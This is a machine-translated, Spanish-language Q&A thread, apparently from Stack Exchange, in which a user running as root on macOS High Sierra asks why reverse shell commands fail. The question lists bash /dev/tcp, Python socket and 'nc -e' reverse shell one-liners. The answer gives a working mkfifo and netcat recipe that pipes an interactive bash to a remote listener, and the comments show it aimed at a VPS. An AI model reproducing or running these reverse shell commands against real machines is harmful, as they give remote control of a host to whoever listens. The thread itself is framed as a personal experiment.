Estoy tratando de crear un oyente de shell inverso usando High Sierra, pero nada parece funcionar.
El comando bash simplemente se cuelga en la terminal y se agota el tiempo de espera.
bash -i >& /dev/tcp/0.0.0.0/8080 0>&1
El comando python falla con "Conexión rechazada" cuando se usa python o python v2.7.
python -c 'import
socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("0.0.0.0",8080));os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'
los errores de comando netcat con "nc: opción no válida -e"
nc -e /bin/bash 0.0.0.0 8080
He probado otras soluciones que he encontrado en línea, pero entiendes la idea...
¿Es posible crear un shell inverso (preferiblemente con acceso a bash) usando High Sierra?
especificaciones:
sh-3.2# system_profiler SPSoftwareDataType
Software:
System Software Overview:
System Version: macOS 10.13.4 (17E199)
Kernel Version: Darwin 17.5.0
Boot Volume: lily
Boot Mode: Normal
Computer Name: lily’s MacBook Air
User Name: System Administrator (root)
Secure Virtual Memory: Enabled
System Integrity Protection: Enabled
Time since boot: 2:03
Si entiendo correctamente, desea conectarse a su máquina High Sierra desde una fuente externa a través de algo como netcat (nc), enviar comandos a bash y ver la respuesta.
Hay formas más seguras y sencillas de hacer esto usando ssh, pero suponiendo que se trate de algún tipo de experimento o truco de desarrollo, así es como puede hacer lo que está pidiendo.
Mi respuesta se basa en una respuesta que encontré en otra parte de SE ( https://superuser.com/a/607855 ), que a su vez se basa en otras respuestas de SO/SE.
Primero haz un fifo:
mkfifo myfifo
Luego comience 'nc' usando el fifo como su entrada, canalizando su salida a bash y redirigiendo la salida de bash al fifo:
nc -l 127.0.0.1 8080 < myfifo | /bin/bash -i > myfifo 2>&1
(La bandera '-i' para bash indica un shell interactivo y puede no ser deseable para este caso de uso).
Desde el dispositivo remoto (en mis pruebas, yo mismo):
nc 127.0.0.1 8080
Si desea invertir los roles, es decir, la máquina High Sierra establece la conexión con el dispositivo remoto y le da acceso al dispositivo remoto para bash en el host HS, debe mover el indicador de escucha (-l). Entonces, el dispositivo remoto iniciaría netcat primero en modo de escucha:
nc -l 127.0.0.1 8080
Luego, el host de High Sierra se conectaría al dispositivo remoto:
nc 127.0.0.1 8080 < myfifo | /bin/bash -i > myfifo 2>&1
lirio
man mkfifo
pero todavía no entiendo muy bien qué es un fifo, ¡lo siento!sin ladera
|
pero con un nombre al que puede hacer referencia/usar más adelante. Piense en ello como un canal con nombre para pasar datos.bryan scott
lirio
$ nc -l 0.0.0.0 8080
, pero noté que omitir-p
nc abre un puerto aleatorio, así que lo hagonc -l 0.0.0.0 -p 8080
. luego, desde mi computadora portátil high sierra$ nc vps-ip-address 8080 < myfifo | /bin/bash -i > myfifo 2>&1
pero la terminal falla inmediatamente con:invalid connection to [vps-ip-address] from () [mac-ip-address] 49247:
lirio
lirio
lirio
$ nc -l -p 8080
bryan scott